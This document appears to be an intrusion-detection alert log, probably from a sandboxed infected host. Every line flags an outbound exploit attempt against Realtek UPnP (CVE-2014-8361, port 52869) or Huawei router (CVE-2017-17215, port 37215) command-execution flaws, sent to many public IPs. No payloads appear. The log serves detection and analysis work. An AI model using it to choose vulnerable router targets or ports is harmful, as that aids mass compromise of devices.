07/20/24-23:01:04.426660	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60064	52869	192.168.2.13	62.204.49.132
07/20/24-23:01:32.199190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34866	37215	192.168.2.13	110.148.63.222
07/20/24-23:01:06.537245	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48938	52869	192.168.2.13	82.166.201.81
07/20/24-23:01:14.521197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49150	52869	192.168.2.13	166.150.19.163
07/20/24-23:01:05.576315	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35158	52869	192.168.2.13	97.132.111.117
07/20/24-23:01:15.000440	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45558	37215	192.168.2.13	41.121.138.230
07/20/24-23:01:06.453953	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57656	52869	192.168.2.13	138.96.171.141
07/20/24-23:01:32.248799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50110	37215	192.168.2.13	157.129.173.230
07/20/24-23:01:05.435609	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50598	52869	192.168.2.13	139.23.112.9
07/20/24-23:01:05.526864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59510	52869	192.168.2.13	139.0.230.132
07/20/24-23:01:14.509824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53088	52869	192.168.2.13	211.159.248.236
07/20/24-23:01:07.364110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39898	52869	192.168.2.13	77.190.202.82
07/20/24-23:01:17.790236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51378	37215	192.168.2.13	175.213.105.130
07/20/24-23:01:04.752813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42938	52869	192.168.2.13	8.104.228.104
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49448	37215	192.168.2.13	41.158.33.62
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38412	37215	192.168.2.13	41.167.217.21
07/20/24-23:01:32.207539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58642	37215	192.168.2.13	41.214.166.104
07/20/24-23:01:14.556193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37408	52869	192.168.2.13	85.119.116.161
07/20/24-23:01:08.368788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36502	37215	192.168.2.13	157.94.222.191
07/20/24-23:01:27.356781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44854	52869	192.168.2.13	188.71.38.105
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57262	37215	192.168.2.13	157.47.74.129
07/20/24-23:01:22.746527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44604	37215	192.168.2.13	197.22.166.130
07/20/24-23:01:27.354179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47792	52869	192.168.2.13	197.5.41.2
07/20/24-23:01:06.801747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56092	37215	192.168.2.13	41.230.84.239
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54694	37215	192.168.2.13	197.145.104.62
07/20/24-23:01:22.745836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49906	37215	192.168.2.13	5.63.79.183
07/20/24-23:01:21.653411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59900	52869	192.168.2.13	52.137.120.101
07/20/24-23:01:08.459273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33824	37215	192.168.2.13	47.15.127.11
07/20/24-23:00:59.019716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33704	37215	192.168.2.13	197.92.237.222
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43946	37215	192.168.2.13	197.126.243.240
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47714	37215	192.168.2.13	41.46.161.28
07/20/24-23:01:25.390311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36556	37215	192.168.2.13	41.119.15.127
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40106	37215	192.168.2.13	41.17.144.249
07/20/24-23:01:05.458663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39604	52869	192.168.2.13	213.139.43.137
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37452	37215	192.168.2.13	157.38.51.236
07/20/24-23:01:25.390486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36836	37215	192.168.2.13	157.167.36.126
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54014	37215	192.168.2.13	157.18.137.5
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49966	37215	192.168.2.13	197.13.115.180
07/20/24-23:01:08.418538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42354	37215	192.168.2.13	197.28.173.22
07/20/24-23:01:36.781770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44366	37215	192.168.2.13	41.61.199.60
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50196	37215	192.168.2.13	157.205.180.21
07/20/24-23:00:59.054990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43614	37215	192.168.2.13	157.210.89.153
07/20/24-23:01:12.539005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35590	37215	192.168.2.13	157.178.148.6
07/20/24-23:01:12.483293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45996	37215	192.168.2.13	188.92.142.69
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33012	37215	192.168.2.13	41.206.24.104
07/20/24-23:01:18.735326	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52682	52869	192.168.2.13	197.103.196.150
07/20/24-23:01:22.746527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60772	37215	192.168.2.13	197.144.140.73
07/20/24-23:01:04.918465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37876	37215	192.168.2.13	197.193.80.89
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44480	37215	192.168.2.13	41.84.179.49
07/20/24-23:01:05.639157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57916	52869	192.168.2.13	126.209.245.77
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41894	37215	192.168.2.13	41.213.109.233
07/20/24-23:01:14.536803	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48188	52869	192.168.2.13	191.94.176.193
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37654	37215	192.168.2.13	157.85.40.21
07/20/24-23:01:14.559132	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50004	52869	192.168.2.13	204.210.9.128
07/20/24-23:01:17.779183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53404	37215	192.168.2.13	221.164.90.189
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43378	37215	192.168.2.13	62.80.254.248
07/20/24-23:01:06.875564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44272	52869	192.168.2.13	43.240.11.124
07/20/24-23:01:07.464144	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57432	52869	192.168.2.13	60.17.2.252
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50640	37215	192.168.2.13	41.142.181.62
07/20/24-23:01:15.110016	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33436	37215	192.168.2.13	157.69.116.205
07/20/24-23:01:25.389819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41108	37215	192.168.2.13	41.113.171.224
07/20/24-23:01:06.798673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35716	37215	192.168.2.13	197.106.29.16
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36850	37215	192.168.2.13	197.153.69.119
07/20/24-23:01:14.522190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53674	52869	192.168.2.13	9.155.213.68
07/20/24-23:01:14.536691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39978	52869	192.168.2.13	111.37.65.174
07/20/24-23:01:32.250506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47560	37215	192.168.2.13	41.162.72.121
07/20/24-23:01:14.509824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53960	52869	192.168.2.13	81.71.223.221
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38624	37215	192.168.2.13	41.48.21.58
07/20/24-23:01:14.501229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49114	52869	192.168.2.13	89.116.1.211
07/20/24-23:01:22.749654	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57372	37215	192.168.2.13	157.99.109.164
07/20/24-23:01:04.140547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49284	52869	192.168.2.13	103.233.66.3
07/20/24-23:01:22.749655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41276	37215	192.168.2.13	81.215.100.254
07/20/24-23:01:36.781974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37432	37215	192.168.2.13	41.193.158.218
07/20/24-23:01:12.483526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44844	37215	192.168.2.13	41.174.108.240
07/20/24-23:01:14.527257	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60312	52869	192.168.2.13	9.231.7.210
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58924	37215	192.168.2.13	41.36.184.127
07/20/24-23:01:15.059692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46202	37215	192.168.2.13	77.255.245.79
07/20/24-23:00:59.022115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55466	37215	192.168.2.13	41.70.65.103
07/20/24-23:01:22.815176	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52802	37215	192.168.2.13	197.127.94.34
07/20/24-23:01:36.837667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44916	37215	192.168.2.13	157.141.232.217
07/20/24-23:01:14.566461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58728	52869	192.168.2.13	216.194.176.131
07/20/24-23:01:25.388641	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47522	37215	192.168.2.13	49.115.129.156
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54142	37215	192.168.2.13	157.77.4.214
07/20/24-23:01:32.244559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44882	37215	192.168.2.13	177.143.99.241
07/20/24-23:01:12.525593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60542	37215	192.168.2.13	41.103.48.240
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39584	37215	192.168.2.13	157.151.150.92
07/20/24-23:01:06.823879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58778	37215	192.168.2.13	41.216.227.33
07/20/24-23:01:15.071306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53690	37215	192.168.2.13	41.194.192.10
07/20/24-23:01:19.166109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48986	52869	192.168.2.13	161.241.29.146
07/20/24-23:01:19.586614	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45182	52869	192.168.2.13	148.238.53.45
07/20/24-23:01:12.533730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51186	37215	192.168.2.13	157.195.137.191
07/20/24-23:01:36.847780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57106	37215	192.168.2.13	197.82.36.0
07/20/24-23:01:36.852816	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44128	37215	192.168.2.13	157.61.244.136
07/20/24-23:01:22.743515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56508	37215	192.168.2.13	197.43.76.166
07/20/24-23:01:06.823879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44270	37215	192.168.2.13	157.165.41.153
07/20/24-23:01:02.695891	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46006	37215	192.168.2.13	41.171.233.155
07/20/24-23:01:05.603594	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46284	52869	192.168.2.13	89.57.196.100
07/20/24-23:01:04.444180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41122	52869	192.168.2.13	57.30.119.39
07/20/24-23:01:06.343282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51742	52869	192.168.2.13	9.155.213.68
07/20/24-23:01:17.779183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45104	37215	192.168.2.13	197.242.220.137
07/20/24-23:01:04.546140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59034	52869	192.168.2.13	170.113.9.186
07/20/24-23:01:07.613848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49650	52869	192.168.2.13	50.131.46.205
07/20/24-23:01:14.530874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50944	52869	192.168.2.13	219.243.137.80
07/20/24-23:01:22.739710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37558	37215	192.168.2.13	157.188.46.85
07/20/24-23:01:05.454905	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39292	52869	192.168.2.13	220.26.7.227
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42554	37215	192.168.2.13	197.187.132.119
07/20/24-23:01:06.093406	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37106	52869	192.168.2.13	62.126.184.91
07/20/24-23:01:06.794922	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35056	52869	192.168.2.13	109.242.201.39
07/20/24-23:01:22.746773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38180	37215	192.168.2.13	41.42.196.199
07/20/24-23:01:27.366334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40494	52869	192.168.2.13	13.21.70.134
07/20/24-23:01:32.238260	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59760	37215	192.168.2.13	41.215.41.207
07/20/24-23:01:36.855169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53926	37215	192.168.2.13	197.31.42.197
07/20/24-23:01:05.780570	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45790	52869	192.168.2.13	18.101.167.39
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38486	37215	192.168.2.13	37.192.198.218
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49866	37215	192.168.2.13	157.251.199.254
07/20/24-23:01:25.388699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53438	37215	192.168.2.13	197.48.37.91
07/20/24-23:01:25.450878	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39154	37215	192.168.2.13	72.152.49.106
07/20/24-23:01:27.354009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45928	52869	192.168.2.13	141.172.190.0
07/20/24-23:01:19.575737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47502	52869	192.168.2.13	152.52.101.23
07/20/24-23:01:08.386561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56614	37215	192.168.2.13	197.100.145.141
07/20/24-23:01:14.525496	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50548	52869	192.168.2.13	125.82.19.196
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41910	37215	192.168.2.13	197.25.72.152
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58268	37215	192.168.2.13	125.16.244.96
07/20/24-23:01:14.998118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57822	37215	192.168.2.13	128.216.207.69
07/20/24-23:01:14.525838	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57822	52869	192.168.2.13	75.16.206.108
07/20/24-23:01:14.547545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59308	52869	192.168.2.13	13.232.225.193
07/20/24-23:01:04.892375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48748	37215	192.168.2.13	178.215.23.149
07/20/24-23:01:12.495795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35740	37215	192.168.2.13	41.194.202.64
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39986	37215	192.168.2.13	130.255.231.167
07/20/24-23:01:06.802009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44010	37215	192.168.2.13	197.80.1.119
07/20/24-23:01:14.558193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43374	52869	192.168.2.13	76.214.57.173
07/20/24-23:01:06.798361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37500	37215	192.168.2.13	197.62.26.229
07/20/24-23:01:07.201035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41406	52869	192.168.2.13	183.244.92.210
07/20/24-23:01:25.414724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55304	37215	192.168.2.13	197.42.201.100
07/20/24-23:01:25.388680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56714	37215	192.168.2.13	41.50.130.163
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48126	37215	192.168.2.13	197.30.140.44
07/20/24-23:01:36.781255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48288	37215	192.168.2.13	157.196.73.48
07/20/24-23:01:36.796105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55762	37215	192.168.2.13	41.205.241.233
07/20/24-23:01:19.864881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35180	52869	192.168.2.13	25.216.97.59
07/20/24-23:01:12.533731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34720	37215	192.168.2.13	157.84.182.36
07/20/24-23:01:22.748660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36276	37215	192.168.2.13	61.74.229.54
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36206	37215	192.168.2.13	157.254.56.10
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42326	37215	192.168.2.13	153.224.170.192
07/20/24-23:00:59.020164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35902	37215	192.168.2.13	41.128.69.214
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55260	37215	192.168.2.13	197.196.231.184
07/20/24-23:01:14.547224	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52386	52869	192.168.2.13	219.208.149.193
07/20/24-23:01:14.505885	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55284	52869	192.168.2.13	47.131.156.7
07/20/24-23:00:59.054914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34082	37215	192.168.2.13	25.100.29.220
07/20/24-23:01:12.356738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57084	37215	192.168.2.13	197.172.181.194
07/20/24-23:01:05.449847	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47076	52869	192.168.2.13	160.241.202.23
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33084	37215	192.168.2.13	197.80.205.190
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59338	37215	192.168.2.13	41.135.31.86
07/20/24-23:00:59.021201	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50462	37215	192.168.2.13	157.161.52.19
07/20/24-23:01:27.276711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40942	37215	192.168.2.13	41.143.112.34
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53652	37215	192.168.2.13	41.180.244.253
07/20/24-23:01:14.566461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38132	52869	192.168.2.13	87.8.107.75
07/20/24-23:01:12.356929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58830	37215	192.168.2.13	157.23.202.220
07/20/24-23:01:27.352864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42194	52869	192.168.2.13	80.102.232.62
07/20/24-23:00:59.022298	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46612	37215	192.168.2.13	20.222.215.240
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44148	37215	192.168.2.13	157.112.173.36
07/20/24-23:00:59.055000	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49580	37215	192.168.2.13	157.82.209.252
07/20/24-23:01:12.495795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38778	37215	192.168.2.13	197.63.61.122
07/20/24-23:01:32.259331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47658	37215	192.168.2.13	41.159.140.171
07/20/24-23:01:07.511643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47530	52869	192.168.2.13	64.225.124.7
07/20/24-23:01:14.533279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38334	52869	192.168.2.13	159.127.6.20
07/20/24-23:01:22.799496	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34412	37215	192.168.2.13	157.136.217.167
07/20/24-23:01:04.841989	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52210	37215	192.168.2.13	64.40.133.93
07/20/24-23:01:05.491830	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57330	52869	192.168.2.13	74.253.225.130
07/20/24-23:01:27.354992	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33796	52869	192.168.2.13	104.175.135.141
07/20/24-23:01:05.142625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34054	52869	192.168.2.13	98.189.122.151
07/20/24-23:01:14.998674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38652	37215	192.168.2.13	41.7.29.244
07/20/24-23:01:04.861979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53592	37215	192.168.2.13	197.221.120.154
07/20/24-23:01:19.916702	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35378	52869	192.168.2.13	189.108.39.158
07/20/24-23:01:12.358593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38688	37215	192.168.2.13	164.88.101.43
